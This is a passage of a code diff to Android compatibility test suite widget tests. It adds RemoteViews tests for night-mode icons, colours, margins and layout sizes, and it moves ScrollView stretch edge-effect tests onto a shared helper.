     @Test
+    public void testSetIcon_nightMode() throws Throwable {
+        ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
+        Icon iconLight = Icon.createWithResource(mContext, R.drawable.icon_green);
+        Icon iconDark = Icon.createWithResource(mContext, R.drawable.icon_blue);
+        mRemoteViews.setIcon(R.id.remoteView_image, "setImageIcon", iconLight, iconDark);
+
+        applyNightModeThenTest(false, () -> {
+            assertNotNull(image.getDrawable());
+            BitmapDrawable dLight = (BitmapDrawable) mContext.getDrawable(R.drawable.icon_green);
+            WidgetTestUtils.assertEquals(dLight.getBitmap(),
+                    ((BitmapDrawable) image.getDrawable()).getBitmap());
+        });
+        applyNightModeThenTest(true, () -> {
+            assertNotNull(image.getDrawable());
+            BitmapDrawable dDark = (BitmapDrawable) mContext.getDrawable(R.drawable.icon_blue);
+            WidgetTestUtils.assertEquals(dDark.getBitmap(),
+                    ((BitmapDrawable) image.getDrawable()).getBitmap());
+        });
+    }
+
+    @Test
     public void testSetImageViewIcon() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
@@ -719,6 +756,48 @@
     }
 
     @Test
+    public void testSetOnCheckedChangePendingIntent() throws Throwable {
+        String action = "my-checked-change-action";
+        MockBroadcastReceiver receiver =  new MockBroadcastReceiver();
+        mContext.registerReceiver(receiver, new IntentFilter(action));
+
+        Intent intent = new Intent(action).setPackage(mContext.getPackageName());
+        PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(
+                        mContext,
+                        0,
+                        intent,
+                        PendingIntent.FLAG_UPDATE_CURRENT);
+        mRemoteViews.setOnCheckedChangeResponse(R.id.remoteView_checkBox,
+                RemoteViews.RemoteResponse.fromPendingIntent(pendingIntent));
+
+        // View being checked to true should launch the intent with the extra set to true.
+        CompoundButton view = mResult.findViewById(R.id.remoteView_checkBox);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mActivityRule.runOnUiThread(() -> view.setChecked(true));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(receiver.mIntent);
+        assertTrue(receiver.mIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, false));
+
+        // Changing the checked state from a RemoteViews action should not launch the intent.
+        receiver.mIntent = null;
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_checkBox, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mInstrumentation.waitForIdleSync();
+        assertFalse(view.isChecked());
+        assertNull(receiver.mIntent);
+
+        // View being checked to false should launch the intent with the extra set to false.
+        receiver.mIntent = null;
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mActivityRule.runOnUiThread(() -> view.setChecked(true));
+        mActivityRule.runOnUiThread(() -> view.setChecked(false));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(receiver.mIntent);
+        assertFalse(receiver.mIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
+    }
+
+    @Test
     public void testSetLong() throws Throwable {
         long base1 = 50;
         long base2 = -50;
@@ -849,6 +928,23 @@
     }
 
     @Test
+    public void testSetBlendMode() throws Throwable {
+        ImageView imageView = mResult.findViewById(R.id.remoteView_image);
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", BlendMode.PLUS);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(BlendMode.PLUS, imageView.getImageTintBlendMode());
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", BlendMode.SRC_IN);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(BlendMode.SRC_IN, imageView.getImageTintBlendMode());
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", null);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertNull(imageView.getImageTintBlendMode());
+    }
+
+    @Test
     public void testRemoveAllViews() throws Throwable {
         ViewGroup root = (ViewGroup) mResult.findViewById(R.id.remoteViews_good);
         assertTrue(root.getChildCount() > 0);
@@ -932,6 +1028,182 @@
     }
 
     @Test
+    public void testSetViewLayoutMargin() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_LEFT, 10, COMPLEX_UNIT_PX);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_TOP, 20, COMPLEX_UNIT_PX);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_RIGHT, 30, COMPLEX_UNIT_PX);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_BOTTOM, 40, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(textView, 10, 20, 30, 40);
+
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_LEFT, 10, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_TOP, 20, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_RIGHT, 30, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(R.id.remoteView_text, MARGIN_BOTTOM, 40, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+        assertMargins(
+                textView,
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 10, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 20, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 30, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 40, displayMetrics)));
+    }
+
+    @Test
+    public void testSetViewLayoutMargin_layoutDirection() throws Throwable {
+        View textViewLtr = mResult.findViewById(R.id.remoteView_text_ltr);
+        mRemoteViews.setViewLayoutMargin(textViewLtr.getId(), MARGIN_START, 10, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewLtr.getId(), MARGIN_TOP, 20, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewLtr.getId(), MARGIN_END, 30, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewLtr.getId(), MARGIN_BOTTOM, 40, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        DisplayMetrics displayMetrics = textViewLtr.getResources().getDisplayMetrics();
+        assertMargins(
+                textViewLtr,
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 10, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 20, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 30, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 40, displayMetrics)));
+
+        View textViewRtl = mResult.findViewById(R.id.remoteView_text_rtl);
+        mRemoteViews.setViewLayoutMargin(textViewRtl.getId(), MARGIN_START, 10, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewRtl.getId(), MARGIN_TOP, 20, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewRtl.getId(), MARGIN_END, 30, COMPLEX_UNIT_DIP);
+        mRemoteViews.setViewLayoutMargin(textViewRtl.getId(), MARGIN_BOTTOM, 40, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        displayMetrics = textViewRtl.getResources().getDisplayMetrics();
+        assertMargins(
+                textViewRtl,
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 30, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 20, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 10, displayMetrics)),
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 40, displayMetrics)));
+    }
+
+    @Test
+    public void testSetViewLayoutMarginDimen() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text, MARGIN_LEFT, R.dimen.textview_padding_left);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text, MARGIN_TOP, R.dimen.textview_padding_top);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text, MARGIN_RIGHT, R.dimen.textview_padding_right);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text, MARGIN_BOTTOM, R.dimen.textview_padding_bottom);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(
+                textView,
+                textView.getResources().getDimensionPixelSize(R.dimen.textview_padding_left),
+                textView.getResources().getDimensionPixelSize(R.dimen.textview_padding_top),
+                textView.getResources().getDimensionPixelSize(R.dimen.textview_padding_right),
+                textView.getResources().getDimensionPixelSize(R.dimen.textview_padding_bottom));
+    }
+
+    @Test
+    public void testSetViewLayoutMarginDimen_layoutDirection() throws Throwable {
+        View textViewLtr = mResult.findViewById(R.id.remoteView_text_ltr);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_ltr, MARGIN_START, R.dimen.textview_padding_left);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_ltr, MARGIN_TOP, R.dimen.textview_padding_top);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_ltr, MARGIN_END, R.dimen.textview_padding_right);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_ltr, MARGIN_BOTTOM, R.dimen.textview_padding_bottom);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(
+                textViewLtr,
+                textViewLtr.getResources().getDimensionPixelSize(R.dimen.textview_padding_left),
+                textViewLtr.getResources().getDimensionPixelSize(R.dimen.textview_padding_top),
+                textViewLtr.getResources().getDimensionPixelSize(R.dimen.textview_padding_right),
+                textViewLtr.getResources().getDimensionPixelSize(R.dimen.textview_padding_bottom));
+
+        View textViewRtl = mResult.findViewById(R.id.remoteView_text_rtl);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_rtl, MARGIN_START, R.dimen.textview_padding_left);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_rtl, MARGIN_TOP, R.dimen.textview_padding_top);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_rtl, MARGIN_END, R.dimen.textview_padding_right);
+        mRemoteViews.setViewLayoutMarginDimen(
+                R.id.remoteView_text_rtl, MARGIN_BOTTOM, R.dimen.textview_padding_bottom);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertMargins(
+                textViewRtl,
+                textViewRtl.getResources().getDimensionPixelSize(R.dimen.textview_padding_right),
+                textViewRtl.getResources().getDimensionPixelSize(R.dimen.textview_padding_top),
+                textViewRtl.getResources().getDimensionPixelSize(R.dimen.textview_padding_left),
+                textViewRtl.getResources().getDimensionPixelSize(R.dimen.textview_padding_bottom));
+
+    }
+
+    @Test
+    public void testSetViewLayoutWidth() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+
+        mRemoteViews.setViewLayoutWidth(R.id.remoteView_text, 10, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(10, textView.getLayoutParams().width);
+
+        mRemoteViews.setViewLayoutWidth(R.id.remoteView_text, 20, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 20, displayMetrics)),
+                textView.getLayoutParams().width);
+
+        mRemoteViews.setViewLayoutWidth(
+                R.id.remoteView_text, ViewGroup.LayoutParams.MATCH_PARENT, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, textView.getLayoutParams().width);
+    }
+
+    @Test
+    public void testSetViewLayoutWidthDimen() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setViewLayoutWidthDimen(R.id.remoteView_text, R.dimen.textview_fixed_width);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                textView.getResources().getDimensionPixelSize(R.dimen.textview_fixed_width),
+                textView.getLayoutParams().width);
+    }
+
+    @Test
+    public void testSetViewLayoutHeight() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        DisplayMetrics displayMetrics = textView.getResources().getDisplayMetrics();
+
+        mRemoteViews.setViewLayoutHeight(R.id.remoteView_text, 10, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(10, textView.getLayoutParams().height);
+
+        mRemoteViews.setViewLayoutHeight(R.id.remoteView_text, 20, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                Math.round(TypedValue.applyDimension(COMPLEX_UNIT_DIP, 20, displayMetrics)),
+                textView.getLayoutParams().height);
+
+        mRemoteViews.setViewLayoutHeight(
+                R.id.remoteView_text, ViewGroup.LayoutParams.MATCH_PARENT, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(ViewGroup.LayoutParams.MATCH_PARENT, textView.getLayoutParams().height);
+    }
+
+    @Test
+    public void testSetViewLayoutHeightDimen() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setViewLayoutHeightDimen(R.id.remoteView_text, R.dimen.textview_fixed_height);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                textView.getResources().getDimensionPixelSize(R.dimen.textview_fixed_height),
+                textView.getLayoutParams().height);
+    }
+
+    @Test
     public void testSetIntDimen_fromResources() throws Throwable {
         TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
         int expectedValue = mContext.getResources().getDimensionPixelSize(R.dimen.popup_row_height);
@@ -1037,7 +1309,6 @@
         mRemoteViews.reapply(mContext, mResult);
     }
 
-
     @Test
     public void testSetColor() throws Throwable {
         TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
@@ -1053,6 +1324,45 @@
     }
 
     @Test
+    public void testSetColorStateList() throws Throwable {
+        ProgressBar progressBar = mResult.findViewById(R.id.remoteView_progress);
+
+        ColorStateList tintList = new ColorStateList(
+                new int[][] {{android.R.attr.state_checked}, {}},
+                new int[] {Color.BLACK, Color.WHITE});
+        mRemoteViews.setColorStateList(R.id.remoteView_progress, "setProgressTintList", tintList);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(tintList, progressBar.getProgressTintList());
+
+        mRemoteViews.setColorStateList(R.id.remoteView_progress, "setProgressTintList", null);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertNull(progressBar.getProgressTintList());
+
+        TextView textView = mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor", tintList);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(tintList, textView.getTextColors());
+
+        ColorStateList solid = ColorStateList.valueOf(Color.RED);
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setBackgroundTintList", solid);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(solid, textView.getBackgroundTintList());
+    }
+
+    @Test
+    public void testSetColorStateInt_nightMode() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        mRemoteViews.setColorInt(R.id.remoteView_text, "setTextColor", Color.BLACK, Color.WHITE);
+
+        applyNightModeThenTest(
+                false,
+                () -> assertEquals(ColorStateList.valueOf(Color.BLACK), textView.getTextColors()));
+        applyNightModeThenTest(
+                true,
+                () -> assertEquals(ColorStateList.valueOf(Color.WHITE), textView.getTextColors()));
+    }
+
+    @Test
     public void testSetColorStateList_fromResources() throws Throwable {
         TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
         ColorStateList expectedValue = mContext.getColorStateList(R.color.testcolorstatelist1);
@@ -1076,6 +1386,17 @@
     }
 
     @Test
+    public void testSetColorStateList_nightMode() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        ColorStateList lightMode = ColorStateList.valueOf(Color.BLACK);
+        ColorStateList darkMode = ColorStateList.valueOf(Color.WHITE);
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor", lightMode, darkMode);
+
+        applyNightModeThenTest(false, () -> assertEquals(lightMode, textView.getTextColors()));
+        applyNightModeThenTest(true, () -> assertEquals(darkMode, textView.getTextColors()));
+    }
+
+    @Test
     public void testSetViewOutlinePreferredRadius() throws Throwable {
         View root = mResult.findViewById(R.id.remoteViews_good);
         DisplayMetrics displayMetrics = root.getResources().getDisplayMetrics();
@@ -1189,4 +1510,49 @@
             }
         }
     }
+
+    /**
+     * Sets the night mode, reapplies the remote views, runs test, and then restores the previous
+     * night mode.
+     */
+    private void applyNightModeThenTest(
+            boolean nightMode, ThrowingRunnable test) throws Throwable {
+        final String nightModeText = runShellCommand("cmd uimode night");
+        final String[] nightModeSplit = nightModeText.split(":");
+        if (nightModeSplit.length != 2) {
+            fail("Failed to get initial night mode value from " + nightModeText);
+        }
+        final String initialNightMode = nightModeSplit[1].trim();
+
+        try {
+            runShellCommand("cmd uimode night " + (nightMode ? "yes" : "no"));
+            mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+            test.run();
+        } finally {
+            runShellCommand("cmd uimode night " + initialNightMode);
+        }
+    }
+
+    private static void assertMargins(View view, int left, int top, int right, int bottom) {
+        ViewGroup.LayoutParams layoutParams = view.getLayoutParams();
+        if (!(layoutParams instanceof ViewGroup.MarginLayoutParams)) {
+            fail("View doesn't have MarginLayoutParams");
+        }
+
+        ViewGroup.MarginLayoutParams margins = (ViewGroup.MarginLayoutParams) layoutParams;
+        assertEquals("[left margin]", left, margins.leftMargin);
+        assertEquals("[top margin]", top, margins.topMargin);
+        assertEquals("[right margin]", right, margins.rightMargin);
+        assertEquals("[bottom margin]", bottom, margins.bottomMargin);
+    }
+
+    private static final class MockBroadcastReceiver extends BroadcastReceiver {
+
+        Intent mIntent;
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mIntent = intent;
+        }
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
index e88e992..93bd02e 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
@@ -28,21 +28,18 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.graphics.Rect;
-import android.os.SystemClock;
 import android.util.AttributeSet;
 import android.util.Xml;
-import android.view.PixelCopy;
 import android.view.View;
 import android.view.View.MeasureSpec;
 import android.view.ViewGroup;
-import android.view.animation.AnimationUtils;
 import android.widget.EdgeEffect;
 import android.widget.FrameLayout;
 import android.widget.ScrollView;
 import android.widget.TextView;
+import android.widget.cts.util.StretchEdgeUtil;
 import android.widget.cts.util.TestUtils;
 
 import androidx.test.InstrumentationRegistry;
@@ -52,9 +49,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.SynchronousPixelCopy;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -849,125 +844,36 @@
     }
 
     @Test
+    public void testEdgeEffectType() {
+        // Should default to "glow"
+        assertEquals(EdgeEffect.TYPE_GLOW, mScrollViewRegular.getEdgeEffectType());
+
+        // This one has "stretch" attribute
+        assertEquals(EdgeEffect.TYPE_STRETCH, mScrollViewStretch.getEdgeEffectType());
+
+        mScrollViewStretch.setEdgeEffectType(EdgeEffect.TYPE_GLOW);
+        assertEquals(EdgeEffect.TYPE_GLOW, mScrollViewStretch.getEdgeEffectType());
+        mScrollViewStretch.setEdgeEffectType(EdgeEffect.TYPE_STRETCH);
+        assertEquals(EdgeEffect.TYPE_STRETCH, mScrollViewStretch.getEdgeEffectType());
+    }
+
+    @Test
     public void testStretchAtTop() throws Throwable {
         // Make sure that the scroll view we care about is on screen and at the top:
         showOnlyStretch();
 
-        int[] locationOnScreen = new int[2];
-        mActivityRule.runOnUiThread(() -> {
-            mScrollViewStretch.getLocationOnScreen(locationOnScreen);
-        });
-
-        Bitmap[] bitmap = new Bitmap[1];
-
-        int width = mScrollViewStretch.getWidth();
-        int height = mScrollViewStretch.getHeight();
-
-        CtsTouchUtils.emulateDragGesture(mInstrumentation, mActivityRule,
-                locationOnScreen[0],
-                locationOnScreen[1],
-                0,
-                50,
-                50,
-                5,
-                new CtsTouchUtils.EventInjectionListener() {
-                    private int mNumEvents = 0;
-
-                    @Override
-                    public void onDownInjected(int xOnScreen, int yOnScreen) {
-                    }
-
-                    @Override
-                    public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
-                        mNumEvents++;
-                        if (mNumEvents == 5) {
-                            // Have to take the picture after drag, but before the up event
-                            bitmap[0] = takeScreenshot(locationOnScreen[0], locationOnScreen[1],
-                                    width,
-                                    height);
-                        }
-                    }
-
-                    @Override
-                    public void onUpInjected(int xOnScreen, int yOnScreen) {
-                    }
-                });
-
-        // The blue should stretch beyond its normal dimensions
-        assertEquals(Color.BLUE, bitmap[0].getPixel(1, 52));
+        assertTrue(StretchEdgeUtil.dragDownStretches(mActivityRule, mScrollViewStretch));
     }
 
     // If this test is showing as flaky, it is more likely that it is broken. I've
     // leaned toward false positive over false negative.
     @LargeTest
     @Test
-    public void testStretchTopAndCatch() throws Throwable {
+    public void testStretchAtTopAndCatch() throws Throwable {
         // Make sure that the scroll view we care about is on screen and at the top:
         showOnlyStretch();
 
-        int[] locationOnScreen = new int[2];
-        mActivityRule.runOnUiThread(() -> {
-            mScrollViewStretch.getLocationOnScreen(locationOnScreen);
-        });
-
-        boolean[] wasDownDoneInTime = new boolean[1];
-
-        // Try at most 5 times. Give slow devices their best chance to respond, but
-        // don't penalize them with a flaky test if they can't complete in time.
-        for (int i = 0; i < 5 && !wasDownDoneInTime[0]; i++) {
-            CtsTouchUtils.emulateDragGesture(mInstrumentation, mActivityRule,
-                    locationOnScreen[0],
-                    locationOnScreen[1],
-                    0,
-                    89,
-                    50,
-                    5,
-                    new CtsTouchUtils.EventInjectionListener() {
-                        private long mLastAnimationTime;
-
-                        @Override
-                        public void onDownInjected(int xOnScreen, int yOnScreen) {
-                        }
-
-                        @Override
-                        public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
-                            mLastAnimationTime = AnimationUtils.currentAnimationTimeMillis();
-                        }
-
-                        @Override
-                        public void onUpInjected(int xOnScreen, int yOnScreen) {
-                            CtsTouchUtils.injectDownEvent(mInstrumentation.getUiAutomation(),
-                                    SystemClock.uptimeMillis(), locationOnScreen[0],
-                                    locationOnScreen[1], null);
-                            long animationTime = AnimationUtils.currentAnimationTimeMillis();
-                            // The receding time is 600 ms, but we don't want to be near the final
-                            // part of the animation when the pixels may overlap.
-                            if (animationTime - mLastAnimationTime < 400) {
-                                wasDownDoneInTime[0] = true;
-                            }
-                        }
-                    });
-
-            // To avoid flaky tests, this ensures that the down event was received before the
-            // recede went too far.
-            if (wasDownDoneInTime[0]) {
-                // Now make sure that we wait until the release should normally have finished:
-                sleepAnimationTime(600);
-
-                // Since we caught it, it should be held and still stretched.
-                int width = mScrollViewStretch.getWidth();
-                int height = mScrollViewStretch.getHeight();
-
-                Bitmap bitmap = takeScreenshot(locationOnScreen[0], locationOnScreen[1], width,
-                        height);
-
-                // The blue should still be stretched
-                assertEquals(Color.BLUE, bitmap.getPixel(1, 52));
-            }
-            CtsTouchUtils.injectUpEvent(mInstrumentation.getUiAutomation(),
-                    SystemClock.uptimeMillis(), false,
-                    locationOnScreen[0], locationOnScreen[1], null);
-        }
+        assertTrue(StretchEdgeUtil.dragDownTapAndHoldStretches(mActivityRule, mScrollViewStretch));
     }
 
     @Test
@@ -980,54 +886,14 @@
             mScrollViewStretch.scrollTo(0, 210);
         });
 
-        int[] locationOnScreen = new int[2];
-        mActivityRule.runOnUiThread(() -> {
-            mScrollViewStretch.getLocationOnScreen(locationOnScreen);
-        });
-
-        Bitmap[] bitmap = new Bitmap[1];
-
-        int width = mScrollViewStretch.getWidth();
-        int height = mScrollViewStretch.getHeight();
-
-        CtsTouchUtils.emulateDragGesture(mInstrumentation, mActivityRule,
-                locationOnScreen[0],
-                locationOnScreen[1] + 89,
-                0,
-                -50,
-                50,
-                5,
-                new CtsTouchUtils.EventInjectionListener() {
-                    private int mNumEvents = 0;
-                    @Override
-                    public void onDownInjected(int xOnScreen, int yOnScreen) {
-                    }
-
-                    @Override
-                    public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
-                        mNumEvents++;
-                        if (mNumEvents == 5) {
-                            // Have to take the picture after drag, but before the up event
-                            bitmap[0] = takeScreenshot(locationOnScreen[0], locationOnScreen[1],
-                                    width,
-                                    height);
-                        }
-                    }
-
-                    @Override
-                    public void onUpInjected(int xOnScreen, int yOnScreen) {
-                    }
-                });
-
-        // The magenta should stretch beyond its normal dimensions
-        assertEquals(Color.MAGENTA, bitmap[0].getPixel(1, 38));
+        assertTrue(StretchEdgeUtil.dragUpStretches(mActivityRule, mScrollViewStretch));
     }
 
     // If this test is showing as flaky, it is more likely that it is broken. I've
     // leaned toward false positive over false negative.
     @LargeTest
     @Test
-    public void testStretchBottomAndCatch() throws Throwable {
+    public void testStretchAtBottomAndCatch() throws Throwable {
         // Make sure that the scroll view we care about is on screen and at the top:
         showOnlyStretch();
 
@@ -1036,86 +902,7 @@
             mScrollViewStretch.scrollTo(0, 210);
         });
 
-        int[] locationOnScreen = new int[2];
-        mActivityRule.runOnUiThread(() -> {
-            mScrollViewStretch.getLocationOnScreen(locationOnScreen);
-        });
-
-        boolean[] wasDownDoneInTime = new boolean[1];
-
-        // Try at most 5 times. Give slow devices their best chance to respond, but
-        // don't penalize them with a flaky test if they can't complete in time.
-        for (int i = 0; i < 5 && !wasDownDoneInTime[0]; i++) {
-            CtsTouchUtils.emulateDragGesture(mInstrumentation, mActivityRule,
-                    locationOnScreen[0],
-                    locationOnScreen[1] + 89,
-                    0,
-                    -89,
-                    50,
-                    5,
-                    new CtsTouchUtils.EventInjectionListener() {
-                        private long mLastAnimationTime;
-
-                        @Override
-                        public void onDownInjected(int xOnScreen, int yOnScreen) {
-                        }
-
-                        @Override
-                        public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
-                            mLastAnimationTime = AnimationUtils.currentAnimationTimeMillis();
-                        }
-
-                        @Override
-                        public void onUpInjected(int xOnScreen, int yOnScreen) {
-                            CtsTouchUtils.injectDownEvent(mInstrumentation.getUiAutomation(),
-                                    SystemClock.uptimeMillis(), locationOnScreen[0],
-                                    locationOnScreen[1], null);
-                            long animationTime = AnimationUtils.currentAnimationTimeMillis();
-                            // The receding time is 600 ms, but we don't want to be near the final
-                            // part of the animation when the pixels may overlap.
-                            if (animationTime - mLastAnimationTime < 400) {
-                                wasDownDoneInTime[0] = true;
-                            }
-                        }
-                    });
-
-            // To avoid flaky tests, this ensures that the down event was received before the
-            // recede went too far.
-            if (wasDownDoneInTime[0]) {
-                // Now make sure that we wait until the release should normally have finished:
-                sleepAnimationTime(600);
-
-                // Since we caught it, it should be held and still stretched.
-                int width = mScrollViewStretch.getWidth();
-                int height = mScrollViewStretch.getHeight();
-
-                Bitmap bitmap = takeScreenshot(locationOnScreen[0], locationOnScreen[1], width,
-                        height);
-
-                // The magenta should still be stretched
-                assertEquals(Color.MAGENTA, bitmap.getPixel(1, 38));
-            }
-            CtsTouchUtils.injectUpEvent(mInstrumentation.getUiAutomation(),
-                    SystemClock.uptimeMillis(), false,
-                    locationOnScreen[0], locationOnScreen[1], null);
-        }
-    }
-
-    /**
-     * This sleeps until the {@link AnimationUtils#currentAnimationTimeMillis()} changes
-     * by at least <code>durationMillis</code> milliseconds. This is useful for EdgeEffect because
-     * it uses that mechanism to determine the animation duration.
-     *
-     * @param durationMillis The time to sleep in milliseconds.
-     */
-    private void sleepAnimationTime(long durationMillis) throws Exception {
-        final long startTime = AnimationUtils.currentAnimationTimeMillis();
-        long currentTime = startTime;
-        final long endTime = startTime + durationMillis;
-        do {
-            Thread.sleep(endTime - currentTime);
-            currentTime = AnimationUtils.currentAnimationTimeMillis();
-        } while (currentTime < endTime);
+        assertTrue(StretchEdgeUtil.dragUpTapAndHoldStretches(mActivityRule, mScrollViewStretch));
     }
 
     private void showOnlyStretch() throws Throwable {
